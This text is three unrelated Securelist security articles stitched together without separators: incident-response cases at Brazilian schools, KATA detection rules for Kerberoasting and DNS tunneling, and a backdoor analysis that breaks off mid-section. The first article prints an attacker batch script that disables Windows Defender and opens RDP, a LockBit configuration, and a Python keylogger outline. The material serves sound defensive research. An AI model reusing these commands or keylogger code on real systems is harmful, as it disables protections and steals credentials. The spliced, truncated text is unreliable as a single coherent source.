Kaspersky Securelist

Introduction

Because of the amount of data that can be obtained and the high impact that successful attacks may have, educational institutions are frequent targets of cybercriminals. Both public and private schools and universities rely on software for managing personally identifiable information (PII) that is often insecure or insufficiently tested against known vulnerabilities. In addition, machines used by multiple people without accountability can be vulnerable to insider threats.

The complexity of academic environments amplifies this risk. Unlike corporate networks, educational institutions have to provide a network that supports students, professors, researchers, administrative staff, third-party contractors, and visitors. Each of these groups has different security requirements and access control levels, making it difficult to enforce consistent security policies. A security breach can have severe consequences since it may expose vast amounts of sensitive information, such as social security numbers (CPF in Brazil), addresses, phone numbers, and even parents’ names. Armed with this information, attackers can attempt phishing attacks and impersonate the victims in SIM swapping attacks, a common practice in Brazil.

In this article, we provide details about attacks on educational institutions in Brazil observed by our Global Emergency Response Team (GERT) since 2025. We share general statistics, common threats, initial access vectors, and the impact of such violations. Additionally, we present some interesting cases encountered by our team and the identified TTPs. Finally, we offer recommendations to help institutions protect themselves against future attacks.

Key findings and statistics

Our dataset encompasses incident response cases from January 2025 to June 2026. As the chart below shows, the majority of attacks targeted institutions in São Paulo state, Brazil’s most populous state and a significant center of economic and financial activity. We also had cases in Rio de Janeiro and Pernambuco.

Geographical distribution of incident response requests at educational institutions (download)

Of the customers who requested incident response, 60% were private institutions and 40% were public institutions.

Private and public institutions (download)

The most frequent reasons for requesting IR services were related to suspicious endpoint activities, encrypted files, and the presence of suspicious files.

Incident response request reasons (download)

High-severity incidents accounted for 40% of the total cases, while the remaining 60% were medium severity.

Distribution of incidents by severity (download)

The high-severity incidents were mainly related to ransomware attacks. Interestingly, private institutions were the most targeted by ransomware, while incidents in public institutions were mostly related to suspicious endpoint activity and privilege escalation attempts. The most common ransomware families found in our dataset were DragonForce and LockBit 3, whose builder was leaked back in 2022. By using the leaked LockBit builder with a valid privileged account, attackers can build variants capable of disabling defenses and erasing logs.

The most common initial access vectors included the use of valid accounts, exploitation of public-facing applications, and insiders.

Initial access vectors (download)

For privilege escalation, the attackers often relied on Potato variants (GodPotato, SweetPotato, and BadPotato).

We also observed attackers using tools like AnyDesk for remote access, PsExec for lateral movement within compromised infrastructures, and AV-killer malware to terminate the system’s defenses. The latter was mainly used in ransomware-related incidents.

These data reveal an interesting pattern in the threat landscape affecting educational institutions in the region. Many incidents were not caused by highly sophisticated techniques but rather by the abuse of common weaknesses such as valid accounts, exposed applications, and inadequate patch management, as well as the use of publicly available tools that are well-known to the adversaries. The prevalence of ransomware in private institutions suggests a stronger financial motivation, likely because attackers assume these organizations are more capable of paying for data recovery than public schools and universities.

Most attacks were discovered promptly and lasted from a few minutes to a couple of hours. However, technical incident response activities averaged 9.6 hours. This indicates that the impact caused by an incident often extends beyond the timeframe of the active attack, requiring extensive triage and analysis by the forensic investigators to fully restore operations.

One interesting fact is that we are still observing the use of Windows 10 in the infrastructures of educational institutions, even after Microsoft’s official end-of-support date of October 2025. In addition, we found that some customer organizations were using Windows Server 2016 without security patches and fixes. Using outdated and unsupported operating systems increases the attack surface of an infrastructure because attackers can exploit publicly available vulnerabilities to access vulnerable systems and expand their presence in the network. In addition, legacy operating systems may be incompatible with modern evidence collection tools, necessitating extra time and alternative procedures for forensic acquisition.

Obsolete systems in organizations (download)

Interesting cases Case 01 – Leaked LockBit builder

In one case, we identified the use of a custom version of LockBit that was generated using the leaked builder. The ransomware was delivered to the organization’s infrastructure via a valid account that had been leaked. It encrypted the organization’s internal systems, including file servers and databases that stored student profiles and other data. There was no evidence of data exfiltration from the affected machines.

During our analysis of the LockBit sample, we were able to extract its configuration. Interestingly, it was configured without the impersonation and spreading options. This meant the attacker had to perform manual lateral movement to deploy the malware across the network.

"config": { "settings": { "impersonation": false, "local_disks": true, "network_shares": true, "kill_processes": true, "kill_services": true, "set_wallpaper": true, "self_destruct": true, "kill_defender": true, "wipe_freespace": true, "psexec_netspread": false, "gpo_netspread": false, …

Further analysis revealed that the attacker used PsExec for lateral movement. By analyzing the Update Sequence Number (USN) Journal, we were able to identify .KEY files associated with PsExec that showed us the previously compromised machines used by the attacker.

After gaining access to the target machines, the adversaries deployed a batch script to disable the system’s defenses. Our analysis of this artifact showed that they had the administrative credentials to disable the EDR in place. In addition, the script enabled RDP, which gave the attackers remote access to the target. The listing below shows an excerpt of the script:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh advfirewall firewall add rule name="allow RemoteDesktop" dir=in protocol=TCP localport=3389 action=allow reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnRealTimeProtection /t REG_DWORD /d 1 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScriptScanning /t REG_DWORD /d 1 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "" /f reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{UUID}" /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v ServiceKeepAlive /t REG_DWORD /d 0 /f sc stop WinDefend sc config WinDefend start= disabled

Finally, by cross-checking the Prefetch files, we were able to identify the precise dates of PsExecSvc.exe and LBB.exe (LockBit) execution. This revealed that the attacker established the initial connection to the analyzed machine around 5:30am UTC and ran LBB.exe for the last time at 10am UTC on the same day, resulting in an activity window of approximately four hours and thirty minutes. We were able to identify the extent of the compromise and the additional machines that required network isolation for further forensic analysis, containment, and remediation.

Case 02 – DragonForce deployed via AnyDesk

In another incident, we identified a compromised user account that the adversaries used to install the AnyDesk software to enable remote access. Although the attacker erased the system logs after encrypting the victim’s files, we were able to identify the ransomware execution event via the Prefetch and Amcache.hve files, which provided us with the SHA-1 hash of the sample.

Once we obtained the SHA-1 of the malicious artifact (named by the attacker as 1.EXE), we were able to confirm that it was a DragonForce variant. Even though the lack of evidence made the analysis more difficult, this case shows that forensic investigators must be prepared to identify information that the attackers missed or left untouched.

Case 03 – Python keylogger used by an insider

The third incident illustrates how a series of bad practices enabled an insider to collect passwords from other users inside the infrastructure. First, the customer contacted us stating that a machine was exhibiting strange behavior: files containing passwords were being created. We started with triage collection on one of the affected machines.

Evidence from the Program Compatibility Assistant (PCA) showed the execution of two suspicious files, Windows Host Widgets.exe and Windows Host Widgets_.exe, both located in the C:\Users\<user>\.vscode\dlo directory, where <user> represents a user account shared by everyone who uses the machine. The same artifacts were identified within the Amcache.hve file, and multiple executions were also confirmed by analyzing the Prefetch files. Another interesting source of evidence, UserAssist, confirmed that the threat actor also executed both EXE files by double-clicking on them.

MFT analysis showed that multiple log files named cacheX.txt were created in the previously mentioned directory, where X was a number that increased with each malware execution. We then analyzed the EXE files to confirm their behavior. Luckily, both proved to be the same Python script, which we could easily decompile.

As shown in the listing below, the script contains methods and strings with Portuguese names. It is capable of hiding the log files from view in Explorer. The developer also set a procedure to identify when the Caps Lock key was pressed, in order to record the correct passwords.

def get_base_path(): ... def encontrar_proximo_nome(base='cache'): ... def set_file_hidden(filepath): ... ctypes.windll.kernel32.SetFileAttributesW(str(filepath), FILE_ATTRIBUTE_HIDDEN) ... with open(log_file, 'a', encoding='utf-8') as f: f.write(f'\n\n--- Registro iniciado em {datetime.datetime.now()} ---\n') set_file_hidden(log_file) ... def is_capslock_on(): return bool(ctypes.windll.user32.GetKeyState(20) & 1) ... def on_press(key): ... def on_release(key): ... def main(): with keyboard.Listener(on_press=on_press, on_release=on_release) as listener: listener.join() if __name__ == '__main__': main()

This simple script did not implement any persistence or automated data exfiltration mechanisms. Therefore, the insider likely had to manually retrieve the generated log files containing the text typed by the victims. By revisiting the previously collected evidence, we identified USB connections around the same time as the script’s executions. This suggests that removable media was probably used to collect the generated keylogging logs from the environment. As a result of the investigation, the customer changed the passwords of all affected accounts. However, without additional evidence or footage, it was not possible to conclusively attribute the activities to a specific individual and take the appropriate disciplinary and legal measures.

Conclusions and recommendations

The incidents highlighted in this article demonstrate that Brazilian educational institutions face a diverse set of threats, ranging from ransomware operations to insider activity. In many cases, the attackers relied on valid credentials, exposed services, remote access tools, poor patch management, and insufficient endpoint hardening rather than advanced malware or new techniques. Based on these findings, educational institutions should prioritize controls that reduce the likelihood of account compromise and the impact of ransomware deployment. They should also improve forensic visibility after an incident.

Institutions should enforce the use of multi-factor authentication (MFA) for all publicly accessible services, especially VPNs, remote access portals, and email accounts. Since valid accounts were one of the most common initial access vectors observed in our dataset, MFA can significantly reduce the likelihood that stolen or reused credentials alone will compromise the entire environment. We also recommend periodically reviewing privileged accounts, removing unnecessary administrative permissions, and avoiding shared accounts, especially on machines accessed by multiple users, since this makes accountability extremely difficult.

Each user should have their own account, following the principle of least privilege to prevent unauthorized software execution. Additionally, it is advisable to restrict and monitor the use of remote access tools such as AnyDesk or TeamViewer. Unexpected installations or executions of these tools should be treated as high-priority alerts.

To minimize the impact of ransomware, educational institutions should improve their backup and recovery strategy. Backups should be isolated from the primary environment (preferably in more than one location) and tested regularly. Centralized logging, extended EDR telemetry retention, and proper time synchronization across hosts can also improve the ability to reconstruct an attack timeline and implement the necessary response measures.

The use of outdated systems increases the attack surface, so we recommend that organizations adopt an effective update and patch management policy. It is also important to raise security awareness, since users must understand the risks associated with credential sharing, unknown executables, and unauthorized software.

From a digital forensics and incident response (DFIR) perspective, the reviewed incidents demonstrate that effective incident response activities require correlating multiple forensic artifacts in order to reconstruct the attacker’s actions. Investigators should be aware of how to find information even when logs are missing. Many other artifacts are preserved and can be used for this purpose, such as Amcache, PCA, Prefetch, UserAssist, MFT, and USN Journal. The attackers may fail to erase all traces of their activity, so taking a broad forensic approach is of the utmost importance for determining the scope of the compromise and supporting containment and remediation actions.

Observed TTPs

The table below shows the observed TTPs in our dataset, including cases not detailed in this post.

Tactic Technique ID Resource Development Compromise Accounts T1586 Collection Input Capture: Keylogging T1056.001 Execution System Services: Service Execution T1569.002 Execution Hijack Execution Flow: DLL T1574.001 Privilege Escalation Exploitation for Privilege Escalation T1068 Lateral Movement Remote Services: Remote Desktop Protocol T1021.001 Command and Control Remote Access Tools T1219 Exfiltration Exfiltration over Physical Medium: Exfiltration over USB T1052.001 Impact Data Encrypted for Impact T1486

Introduction

Once the attacker has breached the corporate network, subsequent stages of the attack often involve leveraging standard domain infrastructure protocols: using Kerberos, running DNS queries, accessing internal services, opening network shares, and other common networking actions. Because this activity is virtually indistinguishable from legitimate network traffic, it is extremely difficult to detect it with traditional network attack detection tools.
Kerberoasting and DNS tunneling have long ceased to be exotic techniques. They are becoming standard methods in modern attacks because they allow attackers to execute critical compromise stages while remaining undetected by traditional security tools. A clear example of this trend is seen in latest campaigns, employing both Kerberoasting and DNS tunneling.

Traditional network security tools perform well when the attack features a distinct and identifiable indicator: a characteristic query string, a known malicious traffic pattern, or the source code of an already discovered exploit. While this approach to threat detection remains effective, it cannot always be applied to discovering network attacks that blend seamlessly with legitimate traffic inside a corporate network.

Instead of searching for explicit indicators of attack, Network Anomaly Detection (NAD) analyzes all traffic for suspicious artifacts that deviate from the host’s typical network activity. Within Kaspersky’s solution portfolio, this technology is implemented specifically in the Kaspersky Anti Targeted Attack (KATA) platform.

The system analyzes network traffic data (DNS, DCE/RPC, Kerberos and other packets) and extracts key parameters used to identify anomalous behavior. This approach enables searching for attacks on domain controllers, signs of traffic tunneling and exfiltration, C2 communications, and other scenarios that may point to compromise of network infrastructure.

However, Network Anomaly Detection is not built on a single, universal set of indicators. Each attack scenario employs tailored detection models that account for the specifics of the corresponding network protocol, typical host behavior, and characteristic deviations from that baseline. This article examines two practical examples – detecting Kerberoasting and DNS tunneling – to demonstrate how these principles are implemented in KATA’s NAD rules and why this approach proves more effective than traditional signature-based analysis.

Kerberoasting attack detection by KATA Why standard tools have a hard time detecting Kerberoasting

The Kerberoasting attack leverages the standard operational logic of the Kerberos protocol. The attacker identifies service accounts configured with a Service Principal Name (SPN), requests a Ticket-Granting Service (TGS) ticket for them, and attempts to crack the password offline using a dictionary attack against the retrieved ticket. If the password is weak or hasn’t been changed in a long time, the adversary can bruteforce it to get it in cleartext. Subsequently, these compromised credentials can be leveraged for both vertical and horizontal movement across the network.

The essence of a Kerberoasting attack is that an adversary possessing a compromised low-privileged account and a valid Ticket-Granting Ticket (TGT) for that account can request TGS tickets with weakened encryption for service accounts with SPNs. Crucially, it doesn’t matter whether the compromised account actually holds access permissions for those services. Having obtained these tickets, the attacker can then take them offline and bruteforce the service account’s password by trying to decrypt the corresponding ticket locally, without generating any network activity. As the encryption key is based on the password hash, the adversary can guess the password upon finding the correct key.

The attacker’s objective is to find a service account that has a simple password. Most likely, this will be an account created manually by the administrators of the infrastructure or a service. This is precisely why attackers are not interested in system service accounts with SPNs (such as CIFS/fileserver.company.local); these are generated automatically and feature highly complex passwords that are impossible to bruteforce.

We should note that the TGS ticket requests made by attackers are identical to standard, legitimate requests. Every domain naturally exhibits a high volume of Kerberos traffic. Therein lies the primary challenge of detecting Kerberoasting: legitimate service ticket requests (TGS-REQ) are indistinguishable from those issued by attackers. Consequently, the primary detection method relies on correlating indirect indicators rather than signature matching. Key indicators include an anomalous request source (atypical host or user account), a surge in requested SPNs within a short time window, attempts to obtain service tickets for sensitive or privileged service accounts, and off-hour timing or unusual request volume when benchmarked against the historical profile of both the user and the host.

Most of these indicators can be detected using NAD technology, which helps analysts cut through high volumes of Kerberos traffic to establish a concrete hypothesis: who initiated the Kerberoasting attack, which service accounts are at risk, and why this activity deviates from the baseline.

In the context of this attack, the network anomaly stems from a single host – likely using a single user account (cname) – receiving TGS tickets ("msg_type": "KRB_TGS_REP") for numerous unique services with SPNs (sname) within a short timeframe. These service accounts are non-system accounts.

Example of a TGS-REQ – TGS-REP event pair from network session attributes

To detect this anomaly, the NAD rule titled “Signs of a Kerberoasting attack” implements the following logic:

1. From Kerberos network sessions during the search depth period, select only those with a successful Kerberos TGS-REP response, subject to the following conditions:
   • The IP address that initiated the session must not be excluded in the excl_sip variable.
   • The requesting client name (cname) must not be included in the excluded users list (excl_users variable).
   • The SPN (sname) must not be excluded within the rule. System SPNs are omitted from detection logic because they exist across most corporate environments and hold no interest for adversaries in this attack vector; including them in the total count of unique SPNs could lead to predefined threshold being exceeded, triggering false positives.
2. Extract the cname (the name of the client requesting the TGS-REQ) and sname (SPN itself) from these qualifying sessions.
3. Group the sessions by the source IP address and client account name (cname), while aggregating sessions with unique SPNs.
4. Generate an alert if a single IP address using a single client account receives TGS-REP responses for N unique SPN names within the specified search depth window, where N equals or exceeds the threshold variable count_spns.
5. Within the event regeneration window, group under the initial alert all subsequent alerts associated with the same client IP address. This avoids creating duplicate event records by incrementing the aggregation counter (Total appearances).

We should note that this type of logic cannot be implemented using IDS signatures. Consider creating a Suricata rule designed to detect Kerberos TGS-REP packets. To minimize false positives, we’ll exclude system SPNs (which carry highly complex passwords) and apply a threshold for the number of responses a single client can receive. However, such a rule cannot evaluate the uniqueness of the requested SPNs; it can only track packet counts. As a result, this signature would produce a high volume of false positives because any domain naturally generates large amounts of identical legitimate TGS-REP messages.

Furthermore, adding exclusions and tuning thresholds to fit your specific infrastructure environments is significantly more practical when managed through user variables in the interface rather than directly modifying the underlying structure of the IDS rule itself.

Creating a Network Anomaly Detection rule

Network Anomaly Detection (NAD) rules are written as SQL queries executed against KATA’s ClickHouse database. Below, we demonstrate how to add and deploy a rule.

To begin working with NAD rules, navigate to the “Custom rules” section of the interface and select “Intrusion detection”. Under the “Network Anomaly Detection” tab, you can create a new rule.

The Network Anomaly Detection page UI

When adding a new rule, an analyst can select an appropriate rule template from the prebuilt set supplied with product updates. They can also manually modify the rule added from the template (converting it to a custom rule while keeping the original template intact) or author a rule from scratch using the provided guide.

Upon selecting a template, the analyst can review the rule description and either adjust or leave the default values for the following settings:

• Search depth (the lookback window over which the SQL query will run)
• Schedule (the execution frequency for running the query against the specified search depth)
• Event regeneration period (the timeframe during which identical alerts will be aggregated into a single record rather than displayed as distinct events)

UI for creating a new NAD rule

To ensure the rule functions correctly, we recommend navigating to the “SQL-specific query” tab before deployment to review the variables used within the rule – a description for each variable is available by hovering over the question mark icon.

The variables are lists of IP addresses, dates, strings or numeric values that define the network infrastructure – such as domain controllers, DNS servers, time ranges, critical segments, and other entities. This allows you to tailor each rule to different network environments and incorporate specific infrastructure characteristics without modifying the underlying logic.

In our example, using variables allows you to adjust the “Signs of a Kerberoasting attack” rule as follows without altering the underlying SQL query:

• Exclude the source IP address of the TGS-REQ requests from the scope of detection logic (you can specify a single address, a subnet mask, or a dictionary containing addresses and subnets) as well as the requesting client account (accepts a single value or a dictionary with multiple values).
• Adjust the threshold value required to trigger an alert based on the number of unique SPNs in the TGS-REQ messages.

Query contents and variables used in the new rule

On this same page, you can test if the rule is functional prior to saving it.

Rule execution test results

When this rule triggers, an NDR:NAD alert is generated. In the alert card, the analyst can review basic information: IP addresses, ports, and participating network endpoints.

Alert card for the NAD rule

From there, the analyst can navigate to the associated event, which provides a detailed breakdown of the anomaly alongside links to the affected hosts.

NAD rule triggering event

If needed, the analyst can view and export the network sessions associated with the alert. These sessions can be accessed directly from the alert or within the event card via the “Show related” drop-down list.

Network sessions that triggered the rule

Within an individual session, the analyst can inspect standard details including interacting parties, data volume sent and received, and other fields and metrics. On the “Attributes” tab, the analyst can review the specific events recorded within that session.

Network session attributes

Detecting DNS tunneling in KATA How DNS tunnels work

DNS tunneling is a technique used to transmit data or control malware through firewalls by encoding information within DNS protocol requests and responses. Instead of performing standard name resolution, an infected host transmits data encoded within subdomain strings and receives response data via DNS records. This covert channel can be leveraged for C2 communication, bypassing network restrictions, or data exfiltration.

One method of implementing DNS tunneling involves utilizing TXT records. In this scenario, the client issues DNS TXT record queries for domain names where the right-hand portion of the domain name (the higher-level domains) remains static, while the left-hand portion (the lowest-level subdomain) carries encoded or encrypted data sent from the client to the server. Under this structure, a sample domain name might look like ZFcABQAIBA[.]testlab[.]local, where testlab[.]local serves as the static right-hand portion and ZFcABQAIBA represents the variable left-hand string containing the data transmitted by the client.

In response to these queries, the server delivers commands or messages inside the data field of the TXT response. Because the right-hand portion of the domain name remains static, all client queries are consistently routed to the same C2 server, even if the intermediate DNS resolvers targeted by the client change.

DNS query (left) and corresponding response (right) during DNS tunneling via TXT records

It is rather challenging to identify this malicious activity within DNS traffic without generating false positives. DNS traffic is permitted across almost all corporate networks, long domain names occur routinely in both internal and external environments, and TXT records are frequently leveraged for legitimate operational purposes.

Suspicion is established through a combination of indicators: a high volume of long, seemingly random subdomains associated with a single top-level domain, high request frequency, an unusually large number of unique names, non-standard record types, and significant data transfer volumes within a single DNS session.

By analyzing DNS traffic for threat detection, we identified three primary fields of interest:

• Requested DNS name
• DNS record type
• TXT data field within the response

As shown in the image above, all of these fields are present in the DNS response. In a real-world scenario, a tunnel of this nature will transmit a volume of data that is abnormally large compared to standard DNS traffic.

Data exchange within a DNS tunnel

Thus, in the context of DNS tunneling, a network anomaly occurs when 1) a single query source host sends data embedded in the variable left-hand portion of domain names (rrname) while 2) maintaining a static right-hand portion (rrname) and 3) receives DNS server responses containing TXT records (rtype) with varying data (rdata), while 4) the total volume of data transmitted in the left-hand portion of the requested domain name together with the TXT data response (rdata + rrname) exceeds a predefined threshold.

Request and response events from DNS session attributes

When detecting DNS tunneling, the following nuances must be considered:

• A single tunnel will not be constrained to a single DNS session; data may be transmitted across multiple sessions with the DNS server, or each individual request may occur within a separate session.
• A client DNS query can contain more than one requested domain name.
• A DNS response can contain multiple TXT records, as well as a large volume of various non-TXT record types.
• Traffic between DNS servers must be excluded, as it duplicates client requests and can trigger false positives.
• Although the factors outlined above (an abnormally large or frequently changing left-hand subdomain alongside a static right-hand domain, or an unusually long string in a TXT record) serve as key indicators of DNS tunneling, they can also occur within legitimate network traffic.

These challenges create a high likelihood of false positives when detecting DNS tunneling, particularly when using IDS-based tools. Writing an accurate IDS rule for this type of activity is practically impossible. With rare exceptions, DNS tunneling tools possess static markers that can be leveraged for signature-based detection. However, in the absence of such markers, signature methods fail to deliver high detection accuracy without generating an overwhelming number of false positives. In these cases, a comprehensive approach combining multiple correlated indicators is essential to improve overall detection quality.

DNS tunneling detection logic

To add a rule for detecting this anomaly, you can use the prebuilt “DNS data tunneling via TXT records” template in the new rule creation interface. The “SQL-specific query” tab will display the list of variables used:

• user_DNS_servers: a list of internal DNS server addresses within the infrastructure, required for the rule to function correctly and minimize potential false positives
• excl_sip: IP addresses to be excluded from the scope of the rule (you can specify a single address, a subnet mask, or a list containing both addresses and subnets)
• traffic_size: the threshold value for the total volume of data (in bytes) transmitted through the tunnel

Variables used in the “DNS data tunneling via TXT records” rule

The detection logic for this network anomaly is structured as follows:

1. From network sessions using the DNS protocol within the timeframe defined by the rule’s search depth, select only those sessions containing at least one TXT response.
   Additionally:
   • The IP address that initiated the session must not be excluded in the excl_sip variable.
   • The source IP address that initiated the session must not belong to the internal DNS servers listed in the user_DNS_servers variable.
   • The DNS names requested by the client must not be excluded within the rule.
2. Split qualifying DNS sessions into individual log lines, each corresponding to an individual request or response. Retain only DNS responses containing TXT data.
3. Extract DNS names and their associated TXT data from these DNS responses. Retain only unique values.
4. Group all resulting records by the session’s source IP address, aggregating all unique DNS names and TXT data blocks.
5. Generate an alert if the combined size (in bytes) of the unique DNS names and TXT response data for a single IP address within the search depth window exceeds the specified threshold (the traffic_size parameter).
6. Within the event regeneration window, group under the initial alert all subsequent alerts associated with the same client IP address. This avoids creating duplicate event records by incrementing the aggregation counter (Total appearances).

“DNS data tunneling via TXT records” rule triggering event

The primary value of NAD technology in this scenario lies in noise reduction – by minimizing false positives – and faster investigation times. A DNS tunnel rarely presents itself as a single, blatantly malicious request. Instead, it leaves behind a behavioral footprint: repetition, length, domain structure, unusual record types, numerous subdomains branching off an unchanging root domain, and anomalous host behavior. KATA consolidates these indicators into a single alert, presenting the analyst with an actionable attack hypothesis rather than a set of fragmented DNS events.

Prebuilt rules for detecting network anomalies in KATA

KATA users should note that Network Anomaly Detection (NAD) rules are not enabled by default. Rules must be added manually using the procedure described in the preceding sections. This design ensures that analysts can fine-tune rules to fit specific network infrastructures using variables.

Analysts have three ways of creating new rules:

1. Adding a rule from a prebuilt template and adjusting custom variables. In this case, the rule is classified as a system rule.
2. Adding a rule from a prebuilt template and modifying its underlying SQL query (which requires enabling the “Unlock all template values” option) to create a custom rule based on the template. When modified this way, the rule transitions from a system rule to a custom rule.
3. Authoring a custom rule from scratch, which requires a basic understanding of ClickHouse SQL queries and familiarity with the product documentation.

As of this publication, the product ships with 59 prebuilt NAD rule templates (with additional templates delivered via product updates). KATA supports running up to 200 active rules simultaneously.

Prebuilt rules are divided into six categories:

• Large Data Transfers: tracking abnormally large network sessions across various protocols during regular hours, at night, or over weekends.
• Suspicious Connections: detecting suspicious connections that may indicate hazardous activity, shadow IT, evasion of attack detection mechanisms, and other threats.
• Domain Attacks: detecting classic attacks targeting domain network infrastructures using offensive tooling.
• Reconnaissance Activity: identifying suspicious activity within domain protocol sessions (Kerberos, DCE/RPC, LDAP, DNS) resembling domain reconnaissance.
• Connections to Suspicious Resources: detects actions that violate security policies, potential data exfiltration beyond the perimeter, and unauthorized internet access originating from secured network segments.
• C2 Communication: identifies network sessions characteristic of a potential C2 communication channel or tunnel.

The table below lists the rule templates for detecting network anomalies in KATA:

Rule category Rule name Protocols used Large Data Transfers Data tunneling in DNS traffic DNS ICMP, TCP, UDP, RDP, SSH or LDAP sessions with a large volume of traffic (6 rules) ICMP, TCP, UDP, RDP, SSH, or LDAP (depends on selected rule) ICMP, TCP, UDP, RDP, SSH or LDAP sessions with a large volume of traffic at nighttime (6 rules) ICMP, TCP, UDP, RDP, SSH, or LDAP (depends on selected rule) ICMP, TCP, UDP, RDP, SSH or LDAP sessions with a large volume of traffic on non-working days (6 rules) ICMP, TCP, UDP, RDP, SSH, or LDAP (depends on selected rule) Suspicious Connections Queries to unknown DNS servers DNS Use of unauthorized routes TCP, UDP Use of suspicious ports for connections to external addresses TCP, UDP Use of non-typical protocols for connections TCP, UDP, HTTP, HTTPS, DNS, SMTP Inconsistencies with firewall configuration TCP, UDP Use of unauthorized ports for RDP or SSH sessions (2 rules) RDP or SSH (depends on selected rule) Interactions with external IP addresses over the RDP or SSH protocol (2 rules) RDP or SSH (depends on selected rule) Suspicious RDP sessions with domain controllers RDP Connection to an unknown server via Kaspersky Security Center ports TCP, UDP Domain Attacks Signs of a DCSync attack DCE/RPC Signs of a DCShadow attack DCE/RPC Signs of DHCP spoofing DHCP DNS queries to Canarytoken domains DNS Signs of a Kerberoasting attack Kerberos Signs of an AS-REP Roasting attack Kerberos Signs of a brute-force password attack on SSH SSH Signs of SOAPHound usage LDAP Large-volume Active Directory object data collection via LDAP queries LDAP Reconnaissance Activity Getting information about a task in the Task Scheduler DCE/RPC Getting a list of Kerberos users Kerberos LDAP queries to rights delegation attribute LDAP LDAP queries to attribute for getting administrator passwords LDAP Signs of an internal horizontal port scan TCP, UDP Signs of an internal vertical port scan TCP, UDP DNS zone data replication requests sent from sources other than DNS servers DNS Successfully completed requests for DNS zone data replication sent from sources other than DNS servers DNS LDAP query targeting a critical attribute of insecure credentials LDAP Enumeration of domain accounts via LDAP queries LDAP Exceeding the threshold for requested critical attributes in LDAP queries LDAP LDAP search queries containing a high number of critical attributes LDAP Connections to Suspicious Resources Queries to unauthorized domain names DNS Transmission of large data volumes to cloud storages TCP, UDP, DNS Connections to cloud storages or file transfer services TCP, DNS Connections to public repositories TCP, DNS Connections to resources of programs for traffic tunneling TCP, DNS С2 Communication Possible queries to DGA domains DNS DNS data tunneling via TXT records DNS Numerous blocked connections to external addresses TCP, UDP Conclusion

The examples of Kerberoasting and DNS tunneling clearly demonstrate why modern security defenses cannot rely solely on looking for known signatures and indicators of compromise. Both attack techniques abuse protocols that operate inside corporate networks every day. At the individual event level, they may look like legitimate activity, yet in behavioral context, they stand out as clear indicators of compromise.

NAD directly addresses this gap. Instead of relying purely on signature matches across Kerberos or DNS traffic, it highlights deviations from established baselines: who initiated the activity, how frequently it recurred, which services or domains were targeted, and why that matters for a specific infrastructure.

As a result, analysts gain a clear, actionable starting point for investigation. This capability is especially valuable for spotting the signs of APT group activity, which runs stealthily and is designed to blend in with legitimate operations. The importance of this capability will only grow: as attack techniques evolve, detecting suspicious activity at its earliest stages – before it escalates into critical service compromise or a data breach – becomes increasingly vital.

Introduction

We have been tracking two new backdoors, OctLurk and SilkLurk, observed in attacks against government organizations primarily in Central Asia since January 2025. Identified victims are located in Afghanistan, Kyrgyzstan, Tajikistan, Uzbekistan, Kazakhstan, and the Syrian Arab Republic. These organizations operate across several sectors, including healthcare, research, government offices, ministries of foreign affairs, logistics, law‑enforcement agencies, urban planning and facilities management, and public educational establishments.

The backdoor loaders are customized for each victim and use information from the victim’s machine to decrypt the payload. Both the loaders and the backdoors are heavily obfuscated, making analysis more complicated. OctLurk and SilkLurk can download and inject additional plugins to perform further malicious actions, including launching command shells, performing file system activity, synthesizing keyboard and mouse events, network scanning, credential dumping, keylogging, password theft from browsers, email collection, and remote access. Furthermore, the attackers deployed a specialized utility we named LurkProxy, which we also cover in this report. While it has a highly similar architecture to the OctLurk backdoor, it is not a backdoor itself.

Our investigation shows that the same threat actor operates both SilkLurk and OctLurk , and some victims infected with SilkLurk also contain OctLurk. We assess with medium confidence that the same actor is behind both backdoors, and that they are Chinese‑speaking. However, at the time of publication, we couldn’t attribute this activity to any known group.

OctLurk OctLurk Deployment

The attacker created a scheduled task named GoogleUpDate on remote machines using admin credentials. The task runs once with System account privileges right after it was created, executing the batch script located at C:\Users\<username>\Videos\1.bat (MD5 6ecf84fb18f6747ed08d7598364d853a). Prior to executing the task, the actor queries its status. It is then run, as shown below.

The 1.bat script creates a service named NgcCIntSvc, which loads the loader DLL named oleasapi.dll (MD5 082d49ef9f14e6811d68c7e0e82e5069). The ServiceMain parameter in the service’s registry entry is set to invoke the RegisterService function of oleasapi.dll as shown below.

LurkPoxy Deployment

In another case, the attacker at first checked connectivity to the domain dns[.]ssentialserv[.]xyz as shown below. At the time of our research, the domain was resolving to the address 154[.]196[.]162[.]76 which is used as a LurkProxy C2 server.

After confirming that the C2 server was reachable, the attacker executed the batch script C:\Users\[username]\Desktop\auto.bat (MD5 b874123a80fc4f40e06872b9cb54ebc6). The script created a service named Cusrxsrv, which loads a DLL named msbasesysdc.dll. In the service registry, the ServiceMain parameter was set to call the RegisterService function of msbasesysdc.dll as shown below.

We identified several service names — specitsrc, cmtastsvc, PNRPHostSvc, vmictimerosync, and vmicagent — that the attackers used to load a malicious DLL onto compromised machines.

OctLurk loader

The loader DLL exports two methods, Refresh and RegisterService. The previously created service first calls RegisterService, which in turn invokes Refresh, the method that contains the malicious code. To locate the payload, the loader double-XOR-decrypts and then zlib-decompresses a set of hard‑coded bytes, yielding the payload file path. The payload bytes itself undergoes the same double‑XOR decryption and zlib decompression to produce the backdoor DLL bytes.

The double‑XOR decryption uses two distinct multibyte keys:

• Key 1: hard‑coded in the loader
• Key 2: derived from the serial number of the C: drive

